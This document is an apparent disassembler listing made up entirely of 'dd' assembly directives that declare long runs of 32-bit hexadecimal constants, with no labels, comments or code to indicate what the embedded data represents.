		dd 0B71DCABDh, 3B0773DCh, 0D8C7B14Ch, 0C879B77Dh, 0FA37ADE4h
		dd 7EA5F0CBh, 0F355EB5Fh, 2687B37h, 0DCB6FEE6h,	37B83608h
		dd 0B8538784h, 8E19F361h, 75F57D38h, 5AE29899h,	0E35F8630h
		dd 1FA63A56h, 1BD9FB64h, 4D936459h, 9640394Eh, 0CB84DFFFh
		dd 933365Ch, 36106B45h,	0FE85D9FBh, 0AE882438h,	2667E84Ch
		dd 8AD09A0Ah, 0CDA522D6h, 9B4C82A8h, 869ED391h,	0CD59A886h
		dd 924C1E83h, 4236B894h, 4B0D81AEh, 0A5B2C1Eh, 280500C1h
		dd 4C85C130h, 0D89A1B48h, 0B8204336h, 94376E0Dh, 46EADCDBh
		dd 2091BBB7h, 5BE2866Fh, 37F514A2h, 704E040Ch, 0E1410030h
		dd 4DA9970Ch, 9F716411h, 1C018852h, 9487B8F7h, 0C392020Ah
		dd 5042AA48h, 0CAB00BB9h, 95792455h, 2B5736E6h,	742E7D5Bh
		dd 0AF41F3A2h, 3613D096h, 0A97511B6h, 8EEACA03h, 41D794E5h
		dd 7BB37625h, 776D0316h, 6591DC3Bh, 0DDEBBB77h,	0BC1780EFh
		dd 5C45F0C0h, 614C1180h, 0E4986170h, 0EE318BADh, 33245E72h
		dd 51E8BD23h, 0B3D75F0Fh, 0E7B433DEh, 0B275EEAFh, 4DD9AE36h
		dd 3E37C4F8h, 94C31C65h, 2A5F3CA7h, 563EB391h, 0BB7DA746h
		dd 0E2FC05B8h, 75FA31A7h, 0CBF67EECh, 77F6FE9Fh, 6CA5FEB2h
		dd 60009813h, 0F8FE04CBh, 0C8420232h, 59BB3676h, 9211502h
		dd 80ECF449h, 1E10D339h, 941042Eh, 3068F04Eh, 308C9A42h
		dd 0FDA741A8h, 0ACDF83E8h, 46BC14DAh, 0E1467242h, 21542884h
		dd 0CEA0D218h, 0A10B12Dh, 0BC2704Eh, 1A434863h,	7486F0DAh
		dd 769DE1CAh, 921EC3C8h, 12866F60h, 6A04A362h, 20454844h
		dd 0E2483402h, 80D70F12h, 8A2E2E27h, 2A2A453h, 8D458722h
		dd 5D02E470h, 3F4608F4h, 855681E2h, 19258C00h, 48C64A01h
		dd 4AE09846h, 63383E57h, 13B0944Eh, 8E11B637h, 0B18A43AAh
		dd 3ABAD28Eh, 0CD8EE1BEh, 0F91EE3CAh, 0FCB147D8h, 0DC817751h
		dd 52EEF056h, 3221E248h, 974C8A2Fh, 0C90798BAh,	926F3648h
		dd 2597A494h, 7DC985EFh, 9E36126Dh, 5A6E2AC4h, 1E514A13h
		dd 4A77C6Ch, 7954F96Bh,	959656BEh, 98BB137Dh, 0B1B6332Ch
		dd 96EC725Ah, 2EA5CB1Fh, 0BA4BD3F5h, 0C197E802h, 6330E614h
		dd 9A4CFE56h, 24810B45h, 9A23041Ah, 266433D9h, 0A21844B0h
		dd 768CD126h, 21C4384Dh, 60C4D746h, 1489B8D3h, 0B2D3811Fh
		dd 0D69AFA45h, 6FA54848h, 699D70AAh, 0D61D2D00h, 0B2773679h
		dd 54F29E10h, 66D93D1Bh, 29D67BCFh, 67DA799Fh, 3796EE9Fh
		dd 0A02A167Fh, 41682444h, 85509A0Fh, 0D00E022h,	1843227Dh
		dd 428880B2h, 0AD14226Eh, 0A0424728h, 94768D51h, 0C13D1FA3h
		dd 52304608h, 262ADE92h, 4D15D528h, 9583EA52h, 52A5612Eh
		dd 5F4B4250h, 0B0A4D30Ah, 0BC758E8Eh, 0A2B54E29h, 0B4F0B0D3h
		dd 56C53E5Ah, 54277EB6h, 2FAB95E1h, 522A3BC5h, 0C73CA5D3h
		dd 4FBFD534h, 0A4676A85h, 0A6AA2F9Ah, 8D569346h, 0AB1564Dh
		dd 928982CAh, 2B0CA594h, 4A9AC758h, 7DB2B2B3h, 786B54B1h
		dd 0B756D968h, 713DF5BEh, 0EAC94FB5h, 25FCBDAh,	3E264073h
		dd 0C9895E90h, 15FE3DD7h, 44708C43h, 4C92BA84h,	902AC3FEh
		dd 0AC5CD59Ah, 0D8C6928Bh, 29164EC8h, 65D20065h, 0CCA41C85h
		dd 50499392h, 0B53A60FAh, 99A1CEB4h, 7E4FB4ADh,	385D3C67h
		dd 8DB6D54Fh, 0C1B5ADB5h, 27D4ED6Bh, 87ADD413h,	6D813026h
		dd 812886FBh, 6A08E02h,	954200D5h, 22DF2988h, 75C00100h
		dd 0B8B70E8h, 37222B11h, 2E6D1755h, 0E7BA3848h,	0BA4ABC13h
		dd 0E74965D4h, 9B5D8264h, 0DCA4F768h, 0D7A24255h, 8E375E18h
		dd 914728D7h, 55901869h, 0E55AF4D3h, 0E3D08159h, 47EBDD1Eh
		dd 136256F8h, 506F93BCh, 0A2DF6BE9h, 0E8BF2B92h, 1B23AFDAh
		dd 46FF54C3h, 12F5C026h, 7AA4BD8Eh, 0EF5CD21Ah,	9EDE08C0h
		dd 0D5BC1782h, 0C1EC1B06h, 2A308BE4h, 0AB0DC27h, 0DB3B2FABh
		dd 0BF8670C1h, 770E56C3h, 3F8C3D8h, 91487D31h, 988C521Fh
		dd 313E25AEh, 62BC54CBh, 0AFF4EA02h, 24C4988Ch,	45089422h
		dd 1AB0B5FCh, 6F6203DAh
		dd 0FE1622ACh, 3BB1C8BDh, 0CED2E0BEh, 519E3E0h,	0ED97C879h
		dd 6C8C951Ah, 2D566F05h, 434DA085h, 65085793h, 0CA769F82h
		dd 9BB2ADA9h, 2D5ADCAEh, 5D4F96C3h, 6B3F53F6h, 97324FFBh
		dd 328FB739h, 7CD76EE8h, 19BF3729h, 0EE138ACEh,	67300A02h
		dd 8B144E89h, 0AAEE5394h, 3EAADCF6h, 0B4BA5747h, 0CA4A7402h
		dd 16942B88h, 4938BB5Ah, 0DE75CE74h, 11C74768h,	0A6DE6D2h
		dd 0C785997Ah, 0D374EAF5h, 59F4E965h, 513BE77Ah, 7ED49213h
		dd 52F1EFC1h, 0B6FEEAADh, 2F379DAh, 31855406h, 0D25F593Eh
		dd 0D29A334h, 49CC0C33h, 93FD975Dh, 83AAE1ABh, 8D5FD7Fh
		dd 0C5D89B0Fh, 6C754E9Eh, 2B649D91h, 60A9161Bh,	0E96DB376h
		dd 0C27B68E1h, 2BA6D63Dh, 0D783F130h, 0AF882B6Dh, 20A63B3Dh
		dd 0C1893112h, 1511960Eh, 0D3E46642h, 0AD0DCD0Dh, 0D639821Bh
		dd 3DE3BC31h, 9BD0A6A3h, 0F216F746h, 59AC8E14h,	90FE75AEh
		dd 52DA646Ah, 59F4B819h, 0E09C0ED1h, 6A328FAFh,	1DE56E13h
		dd 0AF9F1960h, 597B2E5h, 0D94443F5h, 0CD03E2B6h, 0A01F41ADh
		dd 0D9B5C371h, 0E2871FE3h, 724E4770h, 0E50E4B93h, 46F94817h
		dd 0E972DB9Dh, 2AE639FEh, 43A0F998h, 0EB9C6867h, 0ED2EE77Ch
		dd 0A624FF9h, 6B29D774h, 0BA1D360Eh, 0E9A76B7Ah, 0BE1A73A3h
		dd 50A4174Bh, 44C87E9Fh, 54313522h, 0DFD59E67h,	6E4A7585h
		dd 0F6B3EB9Dh, 0D3BB13Ah, 0B32AB8DDh, 0D35CBB2Bh, 3B48682Ah
		dd 7BB5B5Fh, 72B1360Bh,	0B628E33Bh, 0E83B88E6h,	0A8ED3B98h
		dd 3653BA85h, 0BD0F2BBCh, 8AB7AB6Bh, 0BC01902Bh, 0BC0FD194h
		dd 3BC2A00Ah, 449DB3Ch,	0C6049266h, 48448463h, 9113C784h
		dd 74A643C8h, 3C9BC9Bh,	83C3CB1Ah, 0CC83BA09h, 2A6D3CD3h
		dd 9A71D683h, 0D01A59A6h, 23D12CBBh, 0A7437EA1h, 0A1AD0B25h
		dd 82D23D69h, 2783D83Dh, 1932A329h, 85BDFE9Ah, 0CBDC32C3h
		dd 0AD9B88BDh, 43942B89h, 0BA22B329h, 7B8CB8h, 900C01Ah
		dd 0E803BE28h, 0BE4BE438h, 39BE5886h, 4393BE6Bh, 0B3D08DB9h
		dd 0EAA8FA8Eh, 0A398011Bh, 2EB15BAEh, 0EDAEB81Fh, 0F15D39BBh
		dd 0B463EFBEh, 9FBF13F0h, 83F2A39Bh, 34A8351Dh,	409DA0ACh
		dd 43F6AF60h, 0AA03F7BAh, 0A216EBA6h, 3AA32FB2h, 0AA5BA997h
		dd 0C6BFD3FCh, 0ABACBAC0h, 0A520E297h, 7CB01BAEh, 0BC018DE9h
		dd 0C030D635h, 0D60DA456h, 69F09F00h, 0C07B5FC0h, 0E585D309h
		dd 0A85D4098h, 40B8E740h, 0EFBBB258h, 0F3BC8F30h, 0A5C1FAC0h
		dd 118F7C10h, 24129FECh, 0BC3B6DBCh, 4CC15907h,	8C164160h
		dd 41A41941h, 0CC1C3C9h, 5BCBC1D1h, 46E03B91h, 0C811AB77h
		dd 0FC2111BAh, 4231A631h, 0AB92B1ABh, 0B3D31AD9h, 12D91A9Ah
		dd 0D19A1C27h, 3478C28Ah, 0C2AB832Dh, 2C21ABD9h, 0F27CB864h
		dd 0AD938813h, 2128021Eh, 333DFAFEh, 2C322233h,	0BE2C33C3h
		dd 4F4363E3h, 78052289h, 438AE2C3h, 0CAC39BE7h,	0A00F1569h
		dd 92091C8h, 402E9C3Ch,	0B9CF43E3h, 15CC3F01h, 4109AB43h
		dd 0EB44C41Ch, 0A37B4609h, 44BF1A97h, 6C461654h, 0B4BC4744h
		dd 0F7449448h, 88480B43h, 96E350AFh, 0A79E1B51h, 53A93533h
		dd 9E5A4717h, 4FCA00C5h, 80CDC504h, 8614518Ch, 531840CBh
		dd 8D0453Ch, 8674013Bh,	570D70DDh, 44044034h, 0C06458BBh
		dd 5AA52459h, 70E6B0A4h, 85D98798h, 0B3C5D9F4h,	0F45FB642h
		dd 0C0EC608Eh, 5BA5AC61h, 4411191Ah, 0BC1900C6h, 0C2A60BC1h
		dd 7262ABDBh, 0C6804E84h, 7BC7468h, 146ABC81h, 91210E84h
		dd 6E37646Ch, 89A3C6ECh, 2C7CC283h, 6411DC20h, 2AC8AC91h
		dd 37D9AB47h, 3611A270h, 5C774C90h, 1301B327h, 28C79130h
		dd 4383C29Ch, 384C2B13h, 0DB3DA9B7h, 0DA1CAD73h, 3DDC2E47h
		dd 0FEBDE812h, 309421BEh, 200AB8BCh, 48301848h,	84C84336h
		dd 1287883Ch, 1533E639h, 0CA2E4AE4h, 0B48AA8D9h, 43C290C8h
		dd 0EB231C3Dh, 29348E2h, 81F490C9h, 0EF491826h,	4C432363h
		dd 0AF3B4949h, 40C96965h, 0FA9D4478h, 0AF7C988Ah, 0B7C9AC99h
		dd 0D44BC4B0h, 3F9A430Bh, 461E4173h, 3FCC9EAh, 4A14F3CAh
		dd 4A4A28CEh, 4A5CA4Ah,	0D30DF3Bh, 0A9304C02h, 5CAAC574h
		dd 4AC0DF40h, 0B23B6C5Ah, 0B8E48E7Ah, 4AFCAF45h, 0D0EC30Bh
		dd 9C0E40DCh, 4624B41Fh, 0F8B694B5h, 1D068538h,	4B685185h
		dd 143C1100h, 2CB91FFBh, 0D0C04EA6h, 994BC416h,	0AA044BD9h
		dd 31B46BC1h, 0C111641Dh, 2B774C1Ch, 11A377CCh,	1D8A6834h
		dd 88A6D151h, 4C691AACh, 6F9ADCC7h, 64C991AAh, 9B247783h
		dd 0D7CCCCCBh, 44CE4CDBh, 0CD032AB8h, 2CCD14D0h, 0EC2DCD23h
		dd 0A20A1EC7h, 31B8B47Fh, 7808BE14h, 4344D800h,	4DFEA4D9h
		dd 37085A28h, 0D2E3CDC4h, 0C3988BCDh, 12A8F4DEh, 752F0118h
		dd 0C8D3EAB9h, 8F9CFCE2h, 5CE4C40Ch, 493BEFCEh,	99348238h
		dd 60A84E8Ah, 34B3F4C9h, 3DC97CEAh, 0A4EC4EBAh,	0A9E8B549h
		dd 0B9BF80B4h, 85749C0h, 2454F097h, 0A0BFBA46h,	34F3B55Ch
		dd 0CD3FD54h, 0E0CF6357h, 5CF74A50h, 0CF806706h, 4455CA7h
		dd 5B5D4FA4h, 0C580698Dh, 0FCCFC4FBh, 33094074h, 4FF0EA9Fh
		dd 0D00061h, 70EA45E5h,	0D020EBA5h, 430DD02h, 3678F55h
		dd 0D5950699h, 8D08507h, 5465D09Dh, 49999B1h, 70D0C50Ch
		dd 0E468BC63h, 2C2A03D0h, 7410F204h, 5AC5375Bh,	0D1203C11h
		dd 13917512h, 6832D145h, 0D16033D1h, 1B517D16h,	0B4C6D189h
		dd 51BD1B91h, 0CBA14B81h, 751DC284h, 21851EA7h,	1F827024h
		dd 1520A7A5h, 47D4D152h, 0D39BB523h, 622047FCh,	0BE0D2594h
		dd 7A807BE1h, 7C83D285h, 0D7D000A2h, 2868FE00h,	0DB9C6886h
		dd 0CCDCC874h, 0B9400A52h, 91A2FCDEh, 1C3C4E00h, 3EC01929h
		dd 0E3D32D32h, 4B4439ACh, 0D35C9253h, 37536961h, 88A93A0Dh
		dd 0BA21D953h, 0B053B4EAh, 6AF68480h, 0C9B44A3Fh, 0F096F241h
		dd 2AFD2FB4h, 0D444F34Fh, 0FDD45544h, 83589E93h, 0DF8D154h
		dd 4AC05067h, 0B9EE54BDh, 0C57C5606h, 0AE8679EFh, 4D4F2AF2h
		dd 1F455018h, 0F48E3D51h, 440B0EC9h, 3BA0E755h,	0F0058BBBh
		dd 74B3CB30h, 0D580F455h, 0ABD5918Fh, 0C4B6D07Dh, 50A10104h
		dd 841436Dh, 0D5E55D9h,	847416B7h, 95605B2h, 219BD0E9h
		dd 0B7541BD6h, 81A2B1Bh, 726BD65Ah, 0D6891AD6h,	6AB49569h
		dd 0BD18D6B5h, 56CACB82h, 3A56D83Ah, 0F92FB250h, 479D7056h
		dd 78218329h, 0A7AD732h, 81C42CD2h, 0D8A1D4D1h,	1A7FB892h
		dd 333D7933h, 27D7ABE1h, 9B8E4D8Dh, 0D7D883CDh,	852E0D7Dh
		dd 14383E50h, 4DE581D8h, 15752EFEh, 0E1D3148Ch,	3532894Ch
		dd 0B9AC9023h, 0F0BEFD89h, 6A99D8BBh, 8350350Ah, 0D9D8D8A8h
		dd 0CD39B4B1h, 8AF9DB34h, 0B2D912F6h, 0F1DC8478h, 0CEEC4AA9h
		dd 7359416Fh, 0BAA4B539h, 0C9FC9F3Fh, 0A144F596h, 71E8CA1Ch
		dd 8D2599D4h, 0F9CA80DFh, 0D8DAD9CCh, 0C04CA8D9h, 0A04AB54Dh
		dd 24AC54EDh, 0DA3185DAh, 0EC5A45A3h, 58E98E78h, 5A75A6DAh
		dd 3D035A8h, 0A98F5A9Dh, 8548F75Ah, 0ABDFB853h,	625ED59Dh
		dd 0B6C4120Fh, 5E5AFCB8h, 255F04EDh, 8475B2DBh,	615B450Dh
		dd 55B5DB55h, 0A6A5B6A0h, 0B8DB8564h, 0A513CC25h, 0D16516DBh
		dd 725BC0A3h, 0B475D6BCh, 832DBF11h, 0C0DC003Ah, 702E92EDh
		dd 2D2DC232h, 0C4C29D71h, 65742D5Dh, 32DDC75Ch,	2E93DD76h
		dd 8C2FC7FCh, 0BE0C3157h, 7BDCBD26h, 0E94FD295h, 0DCFDCEDCh
		dd 808861C6h, 0DD81D2C5h, 0A8E4894Dh, 0EB5D452Eh, 65861CE3h
		dd 0FE74E35Dh, 0DD85895Dh
		dd 2FBF09D2h, 716362A0h, 0E2C5DB8Ah, 0EA5DD5DCh, 0FAF61DA4h
		dd 0A9DD900Ah, 488478B1h, 323FC498h, 53F8515Eh,	0E585A594h
		dd 3DE73A9Dh, 0B565E854h, 652A844Fh, 6CF75478h,	5EC8DECAh
		dd 4B1EED9Eh, 7DEEAAC5h, 0D60D98Dh, 9FCFB069h, 9BB55F15h
		dd 5F35F2C5h, 14FF0E7h,	0DC5D5535h, 0B655F745h,	56DF85A7h
		dd 25FADF9Dh, 0DFD5FC85h, 5A853E4Ch, 40F6900Dh,	2BBDAD99h
		dd 12BD55Ch, 355F55EEh,	0E0460360h, 0C2DB4908h,	0CD6290F2h
		dd 0BCB269C1h, 0C6D66565h, 0D3CE60A2h, 91D0A611h, 22E0CC71h
		dd 5921E0DCh, 60FCC91Ah, 2283283Ah, 212D6111h, 5C25C1E1h
		dd 0CF5C4614h, 1E165C54h, 2D8D22D2h, 0BDA7E817h, 89BFBDF1h
		dd 48180E94h, 0CC5CBD7Ah, 538E528Dh, 0E1EE1E9Ch, 0E2150B38h
		dd 233AA88Ah, 22D58262h, 24E243E9h, 6E26585Eh, 39BD3362h
		dd 8AD89E28h, 562A9D4Dh, 0B6FE2B8Ah, 1D8E2CDDh,	3CA3C58Eh
		dd 0F19B0AD8h, 0D90DDFE2h, 48969E81h, 0ACECE320h, 0D3E53D84h
		dd 0F9634592h, 55E55E4Bh, 6375E6D9h, 0F4DE8E38h, 5E3AD98Ch
		dd 8DF0D34Ah, 0EDD4CE3Ch, 0FE3F0DA5h, 640D4D63h, 42182069h
		dd 3C59642Eh, 0C08B6164h, 0A5A4AB2h, 8E4840ACh,	5A88F0E4h
		dd 5864ADF9h, 0D64D0F45h, 3BF99464h, 25AE4B7h, 12BCDAE9h
		dd 507849A0h, 70E01E52h, 4DB3653Bh, 65590865h, 5719D19Bh
		dd 0A65826A6h, 659E5926h, 69513D67h, 91DE5BDh, 0A0C65D83h
		dd 5F82F65Eh, 3132660Eh, 82E9B192h, 0CC51CEB1h,	3570E134h
		dd 66582638h, 74219E66h, 7D751B7Dh, 0D775C85Ch,	0E0220524h
		dd 0DD2761BBh, 94C66E66h, 70E701C5h, 2E71AE0Eh,	0B3B487E7h
		dd 8EE23954h, 5624A8F2h, 95A095E2h, 88677A92h, 0CDD809B5h
		dd 161E7A39h, 0E834962Ah, 0CE7C8A64h, 5DD67DE7h, 4C67F167h
		dd 0F8AEAF63h, 1842FEE2h, 0B15E08Bh, 84C99683h,	5B4F8486h
		dd 3F88B768h, 35DE4BA7h, 7636B546h, 5E8176E3h, 0EA4F5DE9h
		dd 0D453E8C5h, 4F968DE8h, 0D968F63Dh, 0B04E900h, 693E41E4h
		dd 53694DA0h, 3552408Ah, 0E975F52Bh, 98E980E6h,	9D036996h
		dd 0B678F35Fh, 5564C8F4h, 0F64D6EC0h, 25F463E4h, 14CB8313h
		dd 184EA013h, 84CE5205h, 0A3266601h, 0CCBC6A3Eh, 6054BD4Bh
		dd 719D46Bh, 95656A86h,	0EAA6A9EAh, 1D569CC2h, 1D6AEAD1h
		dd 8362C8B2h, 7F119E0Fh, 26B1A153h, 4CB611E1h, 6551DE64h
		dd 72D532A6h, 27C574EBh, 7D01C93Ah, 0E69668Ah, 0A803DE14h
		dd 0D69465C9h, 36BCC824h, 0E6FB35C3h, 876BF6BEh, 16C0D7FAh
		dd 88E4396Ch, 0C40916C2h, 0B6C5A31Eh, 0C90EC6AEh, 0E6EC8294h
		dd 9ECA4434h, 0ECC6CBB7h, 47496ECCh, 0FECF0ADCh, 5E06D0ECh
		dd 838486D2h, 0A0B3E856h, 6D56D549h, 35634E86h,	96D88596h
		dd 0A4F46DFEh, 5E9EDB68h, 59EDCB58h, 0E0666DDBh, 6DFE8EE8h
		dd 41690E40h, 20690D5Eh, 0EE2DF0E9h, 86E38DFh, 5409A554h
		dd 501E97DFh, 0A8AB54B2h, 0B0F5EE9Dh, 55918E9Fh, 538556ECh
		dd 0D738F380h, 69DEEDDFh, 9FB12A5Fh, 1105413Eh,	0D0C6A1EFh
		dd 0F34BB6F2h, 484950D6h, 604DB3EFh, 1C6A6CBEh,	9EA82084h
		dd 0DB95126Fh, 16038EFAh, 0DEFCF48Dh, 0EFE20F65h, 3603AE0Fh
		dd 2C259310h, 92F7011Bh, 0B3EB3663h, 30247046h,	705CCF82h
		dd 5481CCD1h, 9668E17Fh, 0C30524E1h, 48E1B281h,	0D6BC38C9h
		dd 70E00C70h, 7070F14Fh, 328838FEh, 28A5D1AEh, 8F7131CAh
		dd 948CEC40h, 81481495h, 9AE77F15h, 1E79678Bh, 0E29F1849h
		dd 0CC5DAE7Bh, 0EE2D0AA6h, 5DEE7FE7h, 306D0DDFh, 0B26D06h
		dd 4ED53CF2h, 0D63506D5h, 7E8753F6h, 0DE659568h, 26CA0DE6h
		dd 0E1E6F277h, 0DEB63A0Ch, 0EC0D38CFh, 0FE2B6DEDh, 0C9EF72BFh
		dd 0F2DF2E35h, 2FD4E72Eh, 44FD251Fh, 0C5CB61EEh, 0EC0E9F32h
		dd 4F3440C8h, 0F35EE973h, 3925A98Fh, 0CF86F39Fh, 64F73B64h
		dd 0FEE50994h, 0F73EEF00h, 0F416F273h, 3EA3D5Fh, 6E557436h
		dd 0EF7D0FEFh, 46C6C269h, 0AD136097h, 91991DEFh, 17F4A567h
		dd 119E0E5h, 66111466h,	1E11270h, 7037027h, 0E65D1ED7h
		dd 0B7753752h, 0CA1BF076h, 81581B01h, 0D34D2817h, 0ECD421F4h
		dd 0E6B577BDh, 81E6C00Ah, 0DF5AE1C4h, 75C88438h, 7275DF5Dh
		dd 1A2B1C7Eh, 0F12EC1E2h, 14F61955h, 7892814Fh,	0C8EC8EE7h
		dd 17A93AECh, 82986C97h, 0F1A833F6h, 0DDD3958Dh, 0D6801675h
		dd 0F6C8ACA9h, 3E968DDFh, 0F208B4Ah, 0C9BBA677h, 0D7DE42A1h
		dd 49E4724Eh, 0D42F73AAh, 27638247h, 860AA67h, 5EA8CD06h
		dd 0DE0D45EBh, 0AE3E779Eh, 72E0DBF7h, 92FC9641h, 5AAEF7E6h
		dd 0CFE6443Bh, 0F60EBF80h, 55FE98A5h, 44B2F835h, 5FB784F8h
		dd 86F37F37h, 0EF87F39Fh, 788850DFh, 3DFFF3Ch, 26F1D5A1h
		dd 0EF2D5E6Ah, 42F8D55Fh, 0E999C167h, 79003FD0h, 9219FCBFh
		dd 8609F477h, 0F95567F4h, 97F4A795h, 96FF83AFh,	0AD012EF9h
		dd 2DF9A214h, 0B02EE639h, 0F9C4CCF9h, 9D023572h, 8753D207h
		dd 939F549Bh, 0A1017F54h, 0A47F7567h, 947221EBh, 0CB2DD758h
		dd 7C82EBCDh, 0FA8DCE7Ah, 10B9070Fh, 0CF11F117h, 90E74A2h
		dd 0AF7AE714h, 0BC8EF64Fh, 0E28F1709h, 0B3B47FB2h, 67DF1AFh
		dd 0F3023988h, 27982C10h, 81411E50h, 0E4520902h, 4542E170h
		dd 0AC510B10h, 22A1C8B8h, 6E371A48h, 92B1E4ACh,	351F8FC6h
		dd 0EA292491h, 2A5349E4h, 0E574B257h, 984C25F2h, 0A2D164B4h
		dd 0CE26EB85h, 0F172B89Ch, 17CBE5CCh, 873F6030h, 0F419FD12h
		dd 42A4D228h, 460B0693h, 6232A9ECh, 0AD52A6CBh,	0B3AAD56Ah
		dd 6EB6CCACh, 15E6FE7Dh, 0D3B0D81Ah, 6B2D92C6h,	0B4DA2CF6h
		dd 85B1A568h, 0DC2BD6C6h, 0D2E75C67h, 19575BADh, 8F78BCDEh
		dd 0EC263DF1h, 82C0E02Fh, 0AC2AEAFFh, 0C4E197EBh, 0DAEB178Ah
		dd 6416D8E5h, 5160B7C7h, 32F96CAEh, 52A9CBE6h, 6ADCEAB5h
		dd 0A2D0E833h, 0D2E9347h, 5529D4FAh, 56B357AAh,	29F5FA8Dh
		dd 8543B252h, 0F6FB4D9Ah, 31BA4DEDh, 0A9BDEEE9h, 0A3E0A8D3h
		dd 6E2F113Ah, 4924F8BCh, 724B9292h, 23B9FCE4h, 5119CAE5h
		dd 0D1C8CEAFh, 0B68941A0h, 689ED9FFh, 0E13FF80Fh, 4F2F90FFh
		dd 0F4FA0EFEh, 69C3D5EAh, 0FC0E3EDFh, 0C4CA71F8h, 3EFF632Fh
		dd 0F7FAFCFEh, 0A6CFCFF3h, 0FC751D4Ch, 58105E7h, 17A0781Ah
		dd 0E0B181F8h, 98386982h, 4A118306h, 601760C8h,	1605D160h
		dd 21B86850h, 0F8761D87h, 304E1384h, 48886231h,	10046118h
		dd 22B8AA29h, 0F8B83B8Bh, 0C8368BE2h, 340E4368h, 8DA370E6h
		dd 0F0AC36FEh, 0F82E0AC2h, 3F9023F8h, 9824092h,	42209243h
		dd 292A4807h, 38180882h, 1D054159h, 5653940h, 0C1195811h
		dd 0B03E5803h, 80349725h, 6101C0E0h, 99006022h,	26700664h
		dd 79AA699Ah, 0B66D9966h, 0B990059h, 9D00A02Ch,	109DA75h
		dd 4042799Eh, 0FA7D9F01h, 81058149h, 782105Ah, 0E87A1821h
		dd 9A2A8908h, 3A8D0AA8h, 290A68EAh, 0DC2709Ch, 0A97A5A95h
		dd 0B0F8370Fh, 2A9CA729h, 0A1A829F1h, 1505212Ah, 2A7152A4h
		dd 4AAAA9AAh, 86AD1845h, 6AAC0671h, 40AB2AC8h, 10640EB5h
		dd 0D4410841h, 0F91043D0h, 854550BAh, 4711945Ch, 92148AC5h
		dd 64949548h, 0B1294A12h, 0D14C52D4h, 4D5332BAh, 6D74E936h
		dd 55053E4Fh, 2940B714h, 0E0B79425h, 5E54E532h,	0EE755D52h
		dd 5D8CE55h, 0A9605857h, 0F1BC2EF5h, 0BD16C34Eh, 9725C56Fh
		dd 0ABEAF95Dh, 0F17D5E57h, 84C01835h, 0FE0BF619h, 6C198C62h
		dd 27096398h, 9666593Ch
		dd 0C34B12C5h, 59E68195h, 7C59A667h, 69AD68F1h,	0A76C1ACCh
		dd 291B22A4h, 5B86D9B5h, 0E6F09B6Eh, 1F29709Bh,	0C8265C67h
		dd 741CC729h, 892749CFh, 0E761D575h, 73387788h,	3D799DC7h
		dd 0D01EB79Fh, 9EF7B9E8h, 67D9F07Ch, 2B497F74h,	65809FDDh
		dd 8174F820h, 20F8374Ah, 0D84E1384h, 66178545h,	1ED721E8h
		dd 13222882h, 22C89E25h, 8C22DD9h, 0AA378CA3h, 398DB6ADh
		dd 0BC2F8F0h, 643DCA41h, 0A9324591h, 624C9264h,	540601D0h
		dd 95E55DFAh, 0E5D9725Ah, 10200797h, 2A6B9B66h,	8D9BA6BEh
		dd 9DA739C7h, 27A02B91h, 29FE7F9Eh, 1E84A068h, 8AA2E88Ah
		dd 0A479FA3Eh, 0BA3A5E93h, 0DA769AA6h, 93A9A8A9h, 0ADAAEA6Ah
		dd 0AC2AEAB3h, 0AB4ACC67h, 7AE2B5ADh, 310A4250h, 8BAFD184h
		dd 4588BAF8h, 0EC6B150Eh, 0EB249047h, 3ACDB2D1h, 0D24AECFBh
		dd 0ADFE4B46h, 7F45372Ch, 793D4E6Dh, 0DFB72DDBh, 0B86DB51Ah
		dd 0C453541h, 6BA2E65Eh, 0AD555E15h, 0F2BB6ECBh, 0FB0D75A2h
		dd 0AF559FEAh, 0A5C6F734h, 0F177FD2Fh, 15FAFEBh, 0C130360Fh
		dd 709FFB07h, 99217A2Fh, 61E65188h, 2C20230Fh, 0CF314626h
		dd 0A281AC60h, 5D0418D9h, 80D01AF3h, 2324644Ch,	13746ED9h
		dd 6709948Ah, 0E332C65h, 0B3166073h, 66A74CE8h,	0CE8EC9D4h
		dd 44B3B3BCh, 413CCCF8h, 861DE17Bh, 19A28706h, 59F40E0Dh
		dd 0B3FED2DAh, 70E8361Fh, 1A7B5040h, 6C3EF0Eh, 6AC839AAh
		dd 0D6DACA12h, 0DC4A6BAh, 4E448D7Dh, 0CA8A1130h, 9C204526h
		dd 5B6D462Dh, 0B6E0DB1Bh, 0C9011D82h, 12324104h, 0B7949718h
		dd 4A293D26h, 965C037Fh, 7B838D2h, 5E01E024h, 0E985302h
		dd 0D1C5A650h, 6B8E4D11h, 27249C9Ch, 0AE59CA39h, 0DCCB984Fh
		dd 0B9D738E6h, 51EE7C11h, 0E914A3A1h, 0D3A9952Ch, 752EFEA1h
		dd 2402929Fh, 0D7C9275Dh, 0B3762AB5h, 6CED4353h, 10412B87h
		dd 91107744h, 0B77CEFC8h, 8F004590h, 5E1BC222h,	0BC778A47h
		dd 79426965h, 0B49683CCh, 9A92E164h, 0D32682C8h, 78B61EA3h
		dd 15EC1472h, 0D9432925h, 4180F765h, 0EF8DF0AEh, 0CAA1792Ah
		dd 2ED19EF9h, 2CCFB868h, 335F6BECh, 0F8BF02C9h,	5D2BCFC9h
		dd 0F2FD66B1h, 0F5FB8C75h, 3BFB7F45h, 0E60AC10Ch, 5000C63Fh
		dd 5860BB80h, 0B1080CC4h, 81668588h, 0C6207314h, 554F2822h
		dd 2033704Ch, 7105E7BBh, 70551BD3h, 0EC1E3830h,	0A00CB44h
		dd 541049C2h, 8E742339h, 88C84C74h, 39C20C44h, 790EF42Ah
		dd 1842D858h, 338650BEh, 0DA1C61A4h, 0F0FEC413h, 0E51D3FF0h
		dd 0F86C8061h, 546D0443h, 9AA43C3Fh, 0A1688F11h, 6BB12E24h
		dd 1191004Fh, 29C5089Ch, 2E8AB14Ah, 0DADAE2BAh,	0CA2D3706h
		dd 1C60480Dh, 0E496DE12h, 119DBEA4h, 53814AFEh,	0D012E0E3h
		dd 51C637C6h, 23A8084Ch, 0A6E8EF54h, 4EF1EA3Ch,	0A023EA79h
		dd 0CDC818FEh, 8551920Dh, 1321D46Ch, 3245BA59h,	7C8E5372h
		dd 0D9272464h, 819D57BAh, 559BB2ADh, 10693526h,	57EEE64Eh
		dd 290884A0h, 42CA5947h, 0C795129Ch, 92B25E32h,	0C257ACD7h
		dd 74B25A32h, 85AB2D85h, 8B65EA4Bh, 25FCBC7Bh, 0BDB5C330h
		dd 2A2540A3h, 31DF24C5h, 0BAAEA197h, 0D12C4FA0h, 0AF33C69Ch
		dd 58B1D9F1h, 3CD55EA3h, 59B25C2Dh, 0C5E8BE17h,	85FB015Fh
		dd 0BFD7F860h, 17739271h, 3A201401h, 75CEA61Bh,	0EE9DAC36h
